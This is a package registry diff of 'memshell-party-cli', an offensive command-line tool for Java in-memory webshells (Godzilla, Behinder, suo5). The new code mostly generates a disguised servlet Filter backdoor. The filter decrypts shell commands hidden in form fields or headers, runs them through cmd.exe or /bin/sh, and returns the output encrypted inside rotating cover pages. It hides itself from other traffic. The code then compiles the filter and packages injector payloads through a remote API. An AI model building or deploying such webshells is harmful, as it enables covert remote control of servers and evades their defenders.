memshell-party-cli 0.3.4 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -631,15 +631,25 @@ function postRaw(url, body, options = {}) {
631
631
  if (!isHttps && target.protocol !== "http:") {
632
632
  return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));
633
633
  }
634
+ let proxy = null;
635
+ if (!isHttps && process.env.MEMPARTY_PROXY) {
636
+ try {
637
+ proxy = new URL(process.env.MEMPARTY_PROXY);
638
+ } catch {
639
+ return Promise.reject(
640
+ new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url)
641
+ );
642
+ }
643
+ }
634
644
  return new Promise((resolve2, reject) => {
635
645
  const started = Date.now();
636
646
  const transport = isHttps ? https : http;
637
647
  const req = transport.request(
638
648
  {
639
649
  method: "POST",
640
- hostname: target.hostname,
641
- port: target.port || (isHttps ? 443 : 80),
642
- path: `${target.pathname}${target.search}`,
650
+ hostname: proxy ? proxy.hostname : target.hostname,
651
+ port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80),
652
+ path: proxy ? target.toString() : `${target.pathname}${target.search}`,
643
653
  // agent:false — never reuse a pooled socket. A shell server may close
644
654
  // the connection right after an empty response, and reusing such a
645
655
  // socket surfaces as a spurious ECONNRESET on the next probe.
@@ -1814,7 +1824,8 @@ function autoSaveShell(conn) {
1814
1824
  headerName: conn.headerName,
1815
1825
  headerValue: conn.headerValue,
1816
1826
  extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
1817
- insecure: conn.insecure
1827
+ insecure: conn.insecure,
1828
+ profile: conn.profile
1818
1829
  });
1819
1830
  return `${projectName}/${shellName}`;
1820
1831
  }
@@ -1856,7 +1867,7 @@ function resolveConnection(ref, flags) {
1856
1867
  throw new Error("no URL \u2014 pass --url or a saved target name");
1857
1868
  }
1858
1869
  if (!tool) {
1859
- throw new Error("--tool is required (godzilla | behinder | suo5)");
1870
+ throw new Error("--tool is required \u2014 see the command's --help for available protocols");
1860
1871
  }
1861
1872
  return {
1862
1873
  url,
@@ -1867,6 +1878,7 @@ function resolveConnection(ref, flags) {
1867
1878
  headerValue: flags.headerValue ?? stored?.headerValue,
1868
1879
  extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
1869
1880
  insecure: flags.insecure ?? stored?.insecure,
1881
+ profile: flags.profile ?? stored?.profile,
1870
1882
  targetName
1871
1883
  };
1872
1884
  }
@@ -2622,32 +2634,511 @@ async function startMcpStdio(client) {
2622
2634
  const transport = new StdioServerTransport();
2623
2635
  await server.connect(transport);
2624
2636
  }
2637
+
2638
+ // src/connect/mimic-codecs.ts
2639
+ import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
2640
+ var LEGACY_CIPHER = {
2641
+ algorithm: "aes-ecb",
2642
+ encoding: "base64",
2643
+ padTail: false,
2644
+ marker: "js-var"
2645
+ };
2646
+ function resolveCipher(partial) {
2647
+ return { ...LEGACY_CIPHER, ...partial ?? {} };
2648
+ }
2649
+ function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
2650
+ const id = md5Hex(pass + secretKey).slice(0, 5);
2651
+ if (cipher.marker === "html-comment") {
2652
+ const left2 = `<!--Re${id}_config:`;
2653
+ return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
2654
+ }
2655
+ const left = `var Re${id}_config="`;
2656
+ return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
2657
+ }
2658
+
2659
+ // src/custom/build.ts
2660
+ import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
2661
+ import { join as join6 } from "path";
2662
+
2663
+ // src/core/site-profile.ts
2664
+ import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
2665
+ import { homedir as homedir4 } from "os";
2666
+ import { join as join5 } from "path";
2667
+ function profileTemplates(profile) {
2668
+ if (Array.isArray(profile.templates) && profile.templates.length > 0) {
2669
+ return profile.templates;
2670
+ }
2671
+ if (profile.template) {
2672
+ return [
2673
+ {
2674
+ title: profile.title ?? "",
2675
+ template: profile.template,
2676
+ contentType: profile.contentType ?? "text/html; charset=utf-8"
2677
+ }
2678
+ ];
2679
+ }
2680
+ return [];
2681
+ }
2682
+ function profileRequests(profile) {
2683
+ if (!profile.request) return [];
2684
+ return Array.isArray(profile.request) ? profile.request : [profile.request];
2685
+ }
2686
+
2687
+ // src/custom/java-template.ts
2688
+ function javaStringLiteral(s) {
2689
+ return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
2690
+ }
2691
+ var MD5_METHOD = String.raw`
2692
+ static String md5Hex(String s) throws Exception {
2693
+ MessageDigest m = MessageDigest.getInstance("MD5");
2694
+ byte[] d = m.digest(s.getBytes("UTF-8"));
2695
+ StringBuilder sb = new StringBuilder();
2696
+ for (byte b : d) sb.append(String.format("%02x", b & 0xff));
2697
+ return sb.toString();
2698
+ }
2699
+ `;
2700
+ function cryptMethod(algorithm) {
2701
+ switch (algorithm) {
2702
+ case "aes-ecb":
2703
+ return String.raw`
2704
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2705
+ Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
2706
+ c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,
2707
+ new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
2708
+ return c.doFinal(data);
2709
+ }
2710
+ `;
2711
+ case "aes-cbc":
2712
+ return String.raw`
2713
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2714
+ Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
2715
+ SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
2716
+ if (enc) {
2717
+ byte[] iv = new byte[16];
2718
+ new java.security.SecureRandom().nextBytes(iv);
2719
+ c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));
2720
+ byte[] ct = c.doFinal(data);
2721
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2722
+ bos.write(iv);
2723
+ bos.write(ct);
2724
+ return bos.toByteArray();
2725
+ }
2726
+ c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));
2727
+ return c.doFinal(data, 16, data.length - 16);
2728
+ }
2729
+ `;
2730
+ case "xor":
2731
+ return String.raw`
2732
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2733
+ byte[] k = key.getBytes("UTF-8");
2734
+ byte[] out = new byte[data.length];
2735
+ for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);
2736
+ return out;
2737
+ }
2738
+ `;
2739
+ }
2740
+ }
2741
+ function encDecMethods(encoding) {
2742
+ switch (encoding) {
2743
+ case "base64":
2744
+ return String.raw`
2745
+ static String enc(byte[] data) {
2746
+ return java.util.Base64.getEncoder().encodeToString(data);
2747
+ }
2748
+ static byte[] dec(String s) {
2749
+ return java.util.Base64.getDecoder().decode(s);
2750
+ }
2751
+ `;
2752
+ case "base64url":
2753
+ return String.raw`
2754
+ static String enc(byte[] data) {
2755
+ return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);
2756
+ }
2757
+ static byte[] dec(String s) {
2758
+ return java.util.Base64.getUrlDecoder().decode(s);
2759
+ }
2760
+ `;
2761
+ case "hex":
2762
+ return String.raw`
2763
+ static String enc(byte[] data) {
2764
+ StringBuilder sb = new StringBuilder();
2765
+ for (byte b : data) sb.append(String.format("%02x", b & 0xff));
2766
+ return sb.toString();
2767
+ }
2768
+ static byte[] dec(String s) {
2769
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2770
+ for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
2771
+ return bos.toByteArray();
2772
+ }
2773
+ `;
2774
+ }
2775
+ }
2776
+ var PAD_METHODS = String.raw`
2777
+ static int padLen(String aesKey) throws Exception {
2778
+ return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;
2779
+ }
2780
+ static String appendPad(String s, String aesKey) throws Exception {
2781
+ int n = padLen(aesKey);
2782
+ StringBuilder sb = new StringBuilder(s);
2783
+ java.util.Random r = new java.util.Random();
2784
+ for (int i = 0; i < n; i++) {
2785
+ sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62)));
2786
+ }
2787
+ return sb.toString();
2788
+ }
2789
+ static String stripPad(String s, String aesKey) throws Exception {
2790
+ int n = padLen(aesKey);
2791
+ return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));
2792
+ }
2793
+ `;
2794
+ function fieldTransforms(cipher) {
2795
+ const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s";
2796
+ const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v";
2797
+ return `
2798
+ static String encryptField(byte[] plain, String aesKey) throws Exception {
2799
+ String s = enc(crypt(plain, aesKey, true));
2800
+ return ${afterEncode};
2801
+ }
2802
+ static byte[] decryptField(String v, String aesKey) throws Exception {
2803
+ String s = ${beforeDecode};
2804
+ return crypt(dec(s), aesKey, false);
2805
+ }
2806
+ `;
2807
+ }
2808
+ function wrapPayloadMethod(marker) {
2809
+ if (marker === "html-comment") {
2810
+ return String.raw`
2811
+ static String wrapPayload(String payload, String passKey) throws Exception {
2812
+ return "<!--Re" + md5Hex(passKey).substring(0, 5) + "_config:" + payload + "-->";
2813
+ }
2814
+ `;
2815
+ }
2816
+ return String.raw`
2817
+ static String wrapPayload(String payload, String passKey) throws Exception {
2818
+ return "<script>var Re" + md5Hex(passKey).substring(0, 5) + "_config=\"" + payload + "\";</script>";
2819
+ }
2820
+ `;
2821
+ }
2822
+ function sharedMethods(cipher) {
2823
+ return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
2824
+ }
2825
+ function renderFilterJava(opts) {
2826
+ const { className, pass, secret, fields, templates, cipher } = opts;
2827
+ const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
2828
+ const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
2829
+ return `package mimic;
2830
+
2831
+ import java.io.*;
2832
+ import java.security.MessageDigest;
2833
+ import javax.crypto.Cipher;
2834
+ import javax.crypto.spec.IvParameterSpec;
2835
+ import javax.crypto.spec.SecretKeySpec;
2836
+ import javax.servlet.*;
2837
+ import javax.servlet.http.*;
2838
+
2839
+ /**
2840
+ * mimic protocol server (matches src/connect/mimic-codecs.ts):
2841
+ * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
2842
+ *
2843
+ * Detection uses getParameter()/getHeader() only, never reads the body
2844
+ * stream: form posts are parsed+cached by the container so downstream
2845
+ * getParameter() callers still work, and raw-body posts (Behinder) keep an
2846
+ * untouched body stream for the shell behind us. Anything that is not ours
2847
+ * falls through chain.doFilter; any error answers with the cover page.
2848
+ */
2849
+ public class ${className} implements Filter {
2850
+ /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
2851
+ static final String[] FIELDS = { ${fieldsJava} };
2852
+ /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
2853
+ static final String PASS = "${javaStringLiteral(pass)}";
2854
+ static final String SECRET = "${javaStringLiteral(secret)}";
2855
+ /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
2856
+ static final String[] TPLS = {
2857
+ ${tplsJava}
2858
+ };
2859
+
2860
+ public void init(FilterConfig filterConfig) {}
2861
+ public void destroy() {}
2862
+ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2863
+ public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
2864
+ throws IOException, ServletException {
2865
+ String value = null;
2866
+ for (String f : FIELDS) {
2867
+ value = request.getParameter(f);
2868
+ if (value == null && request instanceof HttpServletRequest) {
2869
+ // secretIn=header: the ciphertext may ride a header instead of a form field
2870
+ value = ((HttpServletRequest) request).getHeader(f);
2871
+ }
2872
+ if (value != null) break;
2873
+ }
2874
+ if (value == null) {
2875
+ chain.doFilter(request, response);
2876
+ return;
2877
+ }
2878
+ String aesKey;
2879
+ byte[] cmd;
2880
+ try {
2881
+ aesKey = md5Hex(SECRET).substring(0, 16);
2882
+ cmd = decryptField(value, aesKey);
2883
+ } catch (Exception notOurs) {
2884
+ // the field exists but doesn't decrypt \u2014 this is someone else's
2885
+ // legitimate form (e.g. the real login POST), stay invisible
2886
+ chain.doFilter(request, response);
2887
+ return;
2888
+ }
2889
+ String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
2890
+ try {
2891
+ String command = new String(cmd, "UTF-8");
2892
+ boolean win = System.getProperty("os.name").toLowerCase().contains("win");
2893
+ ProcessBuilder pb = win
2894
+ ? new ProcessBuilder("cmd.exe", "/c", command)
2895
+ : new ProcessBuilder("/bin/sh", "-c", command);
2896
+ pb.redirectErrorStream(true);
2897
+ Process proc = pb.start();
2898
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2899
+ InputStream in = proc.getInputStream();
2900
+ byte[] buf = new byte[8192];
2901
+ int n;
2902
+ while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
2903
+ proc.waitFor();
2904
+ String payload = encryptField(bos.toByteArray(), aesKey);
2905
+ String fragment = wrapPayload(payload, PASS + SECRET);
2906
+ int idx = tpl.toLowerCase().lastIndexOf("</body>");
2907
+ String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
2908
+ response.setContentType("text/html;charset=UTF-8");
2909
+ response.setCharacterEncoding("UTF-8");
2910
+ response.getWriter().write(page);
2911
+ } catch (Exception e) {
2912
+ // behave like the cover page on any error \u2014 stay quiet
2913
+ response.setContentType("text/html;charset=UTF-8");
2914
+ response.getWriter().write(tpl);
2915
+ }
2916
+ }
2917
+ }
2918
+ `;
2919
+ }
2920
+ function renderCryptoProbe(cipher) {
2921
+ return `import java.io.*;
2922
+ import java.security.MessageDigest;
2923
+ import javax.crypto.Cipher;
2924
+ import javax.crypto.spec.IvParameterSpec;
2925
+ import javax.crypto.spec.SecretKeySpec;
2926
+
2927
+ /** Cross-language test harness \u2014 shares every snippet with the mimic filter. */
2928
+ public class CryptoProbe {
2929
+ ${sharedMethods(cipher)}
2930
+ static String bytesToHex(byte[] data) {
2931
+ StringBuilder sb = new StringBuilder();
2932
+ for (byte b : data) sb.append(String.format("%02x", b & 0xff));
2933
+ return sb.toString();
2934
+ }
2935
+ static byte[] hexToBytes(String s) {
2936
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2937
+ for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
2938
+ return bos.toByteArray();
2939
+ }
2940
+
2941
+ public static void main(String[] args) throws Exception {
2942
+ String aesKey = md5Hex(args[1]).substring(0, 16);
2943
+ if ("enc".equals(args[0])) {
2944
+ // hex plaintext on argv -> wire value on stdout
2945
+ System.out.println(encryptField(hexToBytes(args[2]), aesKey));
2946
+ } else {
2947
+ // wire value on argv -> hex plaintext on stdout
2948
+ System.out.println(bytesToHex(decryptField(args[2], aesKey)));
2949
+ }
2950
+ }
2951
+ }
2952
+ `;
2953
+ }
2954
+
2955
+ // src/custom/javac.ts
2956
+ import { execFileSync } from "child_process";
2957
+ import { existsSync as existsSync5 } from "fs";
2958
+ import { fileURLToPath } from "url";
2959
+ function servletApiJar() {
2960
+ const candidates = [
2961
+ new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url),
2962
+ // dist/*.js
2963
+ new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url)
2964
+ // src/custom/*.ts
2965
+ ];
2966
+ for (const candidate of candidates) {
2967
+ const p = fileURLToPath(candidate);
2968
+ if (existsSync5(p)) return p;
2969
+ }
2970
+ throw new Error(
2971
+ "bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)"
2972
+ );
2973
+ }
2974
+ function findJavac() {
2975
+ try {
2976
+ execFileSync("javac", ["-version"], { stdio: "pipe" });
2977
+ return "javac";
2978
+ } catch {
2979
+ throw new Error(
2980
+ "javac not found on PATH \u2014 'memparty custom build' compiles Java locally, install any JDK 11+ and retry"
2981
+ );
2982
+ }
2983
+ }
2984
+ function hasJavac() {
2985
+ try {
2986
+ findJavac();
2987
+ return true;
2988
+ } catch {
2989
+ return false;
2990
+ }
2991
+ }
2992
+ function compileJava(sources, outDir, opts = {}) {
2993
+ const javac = findJavac();
2994
+ const args = ["-encoding", "UTF-8", "--release", "8"];
2995
+ if (opts.classpath && opts.classpath.length > 0) {
2996
+ args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":"));
2997
+ }
2998
+ args.push("-d", outDir, ...sources);
2999
+ execFileSync(javac, args, { stdio: "pipe" });
3000
+ }
3001
+
3002
+ // src/custom/build.ts
3003
+ function profileSecretFields(profile) {
3004
+ const shapes = profileRequests(profile);
3005
+ const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
3006
+ return fields.length > 0 ? fields : ["pass"];
3007
+ }
3008
+ function defaultClassName() {
3009
+ return `MimicFilter${randomString(4)}`;
3010
+ }
3011
+ async function buildCustomMemshell(input, client, deps = {}) {
3012
+ const compile = deps.compile ?? compileJava;
3013
+ const jarOf = deps.servletJar ?? servletApiJar;
3014
+ const className = input.className ?? defaultClassName();
3015
+ const shellType = input.shellType ?? "Filter";
3016
+ const urlPattern = input.urlPattern ?? "/*";
3017
+ const packer = input.packer ?? "DefaultBase64";
3018
+ const cipher = resolveCipher(input.profile.cipher);
3019
+ const templates = profileTemplates(input.profile).map((t) => t.template);
3020
+ if (templates.length === 0) {
3021
+ throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
3022
+ }
3023
+ const outDir = input.outDir;
3024
+ const packageDir = join6(outDir, "mimic");
3025
+ mkdirSync4(packageDir, { recursive: true });
3026
+ const javaSource = renderFilterJava({
3027
+ className,
3028
+ pass: input.pass,
3029
+ secret: input.secret,
3030
+ fields: profileSecretFields(input.profile),
3031
+ templates,
3032
+ cipher
3033
+ });
3034
+ const javaFile = join6(packageDir, `${className}.java`);
3035
+ writeFileSync5(javaFile, javaSource, "utf8");
3036
+ compile([javaFile], outDir, { classpath: [jarOf()] });
3037
+ const classFile = join6(packageDir, `${className}.class`);
3038
+ const shellClassBase64 = readFileSync6(classFile).toString("base64");
3039
+ const response = await client.generateMemShell({
3040
+ shellConfig: {
3041
+ server: input.server,
3042
+ shellTool: "Custom",
3043
+ shellType,
3044
+ targetJreVersion: resolveJreVersion(input.jdk ?? "java8")
3045
+ },
3046
+ shellToolConfig: {
3047
+ shellClassName: `mimic.${className}`,
3048
+ shellClassBase64
3049
+ },
3050
+ injectorConfig: { urlPattern },
3051
+ packer
3052
+ });
3053
+ const payloads = {};
3054
+ if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
3055
+ for (const [name, value] of Object.entries(response.allPackResults)) {
3056
+ const file = join6(outDir, `payload-${name}.txt`);
3057
+ writeFileSync5(file, `${value}
3058
+ `, "utf8");
3059
+ payloads[name] = file;
3060
+ }
3061
+ } else if (response.packResult !== void 0) {
3062
+ const file = join6(outDir, "payload.txt");
3063
+ writeFileSync5(file, `${response.packResult}
3064
+ `, "utf8");
3065
+ payloads[packer] = file;
3066
+ }
3067
+ const result = {
3068
+ className,
3069
+ fullClassName: `mimic.${className}`,
3070
+ injectorClassName: response.memShellResult.injectorClassName,
3071
+ packer,
3072
+ server: input.server,
3073
+ shellType,
3074
+ urlPattern,
3075
+ pass: input.pass,
3076
+ secret: input.secret,
3077
+ cipher,
3078
+ response,
3079
+ files: {
3080
+ java: javaFile,
3081
+ classFile,
3082
+ manifest: join6(outDir, "manifest.json"),
3083
+ payloads
3084
+ }
3085
+ };
3086
+ const manifest = {
3087
+ tool: "mimic",
3088
+ createdAt: (/* @__PURE__ */ new Date()).toISOString(),
3089
+ profile: input.profile.name,
3090
+ server: result.server,
3091
+ shellType: result.shellType,
3092
+ urlPattern: result.urlPattern,
3093
+ packer: result.packer,
3094
+ className: result.fullClassName,
3095
+ injectorClassName: result.injectorClassName,
3096
+ pass: result.pass,
3097
+ key: result.secret,
3098
+ cipher: result.cipher,
3099
+ note: "pass/key/cipher are baked into the filter class. Editing the profile's cipher section afterwards desynchronizes client and server \u2014 rebuild and re-inject.",
3100
+ connect: `memparty connect -u <shell-url> -t mimic --profile ${input.profile.name} --pass ${result.pass} --key ${result.secret}`,
3101
+ files: result.files
3102
+ };
3103
+ writeFileSync5(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
3104
+ `, "utf8");
3105
+ return result;
3106
+ }
2625
3107
  export {
2626
3108
  ApiError,
2627
3109
  CLI_VERSION,
2628
3110
  DEFAULT_API_URL,
2629
3111
  ENV_VAR,
2630
3112
  JDK_VERSIONS,
3113
+ LEGACY_CIPHER,
2631
3114
  MemPartyClient,
2632
3115
  OUTPUT_LIMIT,
2633
3116
  autoSaveShell,
3117
+ buildCustomMemshell,
2634
3118
  buildMemShellRequest,
2635
3119
  buildProbeRequest,
2636
3120
  createMcpServer,
3121
+ defaultClassName,
3122
+ deriveMarkers,
2637
3123
  emitPayload,
2638
3124
  execBehinder,
2639
3125
  execGodzilla,
2640
3126
  formatOp,
2641
3127
  getProject,
3128
+ hasJavac,
2642
3129
  listProjects,
2643
3130
  logOp,
2644
3131
  marshalFrameBase64,
2645
3132
  marshalSuo5Map,
2646
3133
  opLogPath,
3134
+ profileSecretFields,
2647
3135
  readOps,
2648
3136
  removeProject,
2649
3137
  removeShell,
3138
+ renderCryptoProbe,
3139
+ renderFilterJava,
2650
3140
  resolveApiUrl,
3141
+ resolveCipher,
2651
3142
  resolveConnection,
2652
3143
  resolveJreVersion,
2653
3144
  saveProjectMeta,